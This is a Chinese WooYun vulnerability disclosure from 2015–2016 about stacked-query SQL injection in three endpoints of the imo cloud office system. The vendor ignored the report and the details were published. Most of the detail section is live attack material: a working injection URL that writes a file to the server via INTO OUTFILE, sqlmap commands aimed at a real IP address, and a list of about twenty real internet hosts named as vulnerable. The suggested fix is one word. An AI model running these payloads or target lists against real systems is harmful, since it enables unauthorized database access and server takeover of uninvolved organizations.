当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0161939

漏洞标题：imo云办公室系统三处任意SQL执行漏洞（可getshell）

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-12-17 11:16

修复时间：2016-01-28 17:10

公开时间：2016-01-28 17:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-17： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rt

详细说明：

该漏洞为SQL注入漏洞，但该系统mysql PDO方式查询，可以执行多条语句，等同于任意SQL语句执行
存在漏洞的文件：

/Customize/Audit/MessageMonitor/groupSearch.php?id=1
/Customize/Audit/MessageMonitor/mutilSearch.php?id=1
/Customize/Audit/MessageMonitor/singleSearch.php?uid=1))


执行select语句向服务器写入文件：

http://218.247.15.55/Customize/Audit/MessageMonitor/groupSearch.php?id=1;select 0x776F6F79756E2E6F7267 into outfile '/tmp/wooyun.txt'%23


1.png


用sqlmap测试1：

sqlmap.py -u "http://218.247.15.55/Customize/Audit/MessageMonitor/singleSearch.php?uid=1))*" --random-agent --dbms=mysql


3.png


用sqlmap测试2：

sqlmap.py -u "http://218.247.15.55/Customize/Audit/MessageMonitor/groupSearch.php?id=1" --random-agent --dbms=mysql --dbs


2.png


使用该系统的非常多，随便列举几个案例：

http://124.127.184.106/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://218.247.15.55/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://220.249.78.238/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://221.2.165.51/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://114.112.88.208/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://61.186.41.230/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://61.128.175.188:8000/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://120.33.48.13:81/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://120.33.48.12:81/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://116.228.58.90:81/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://218.247.15.55/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://60.2.187.226:81/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://60.2.41.246/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://221.5.224.65:8000/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://58.118.64.9/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://42.49.39.72:81/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://114.247.46.73/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://183.64.106.66/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://219.148.143.126:81/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://122.10.19.52/server/page_download 
http://220.249.78.238/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://211.142.200.34/Customize/Audit/MessageMonitor/groupSearch.php?id=1
http://221.224.21.25:8888/Customize/Audit/MessageMonitor/groupSearch.php?id=1

漏洞证明：

sqlmap.py -u "http://218.247.15.55/Customize/Audit/MessageMonitor/groupSearch.php?id=1" --random-agent --dbms=mysql --dbs


2.png

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)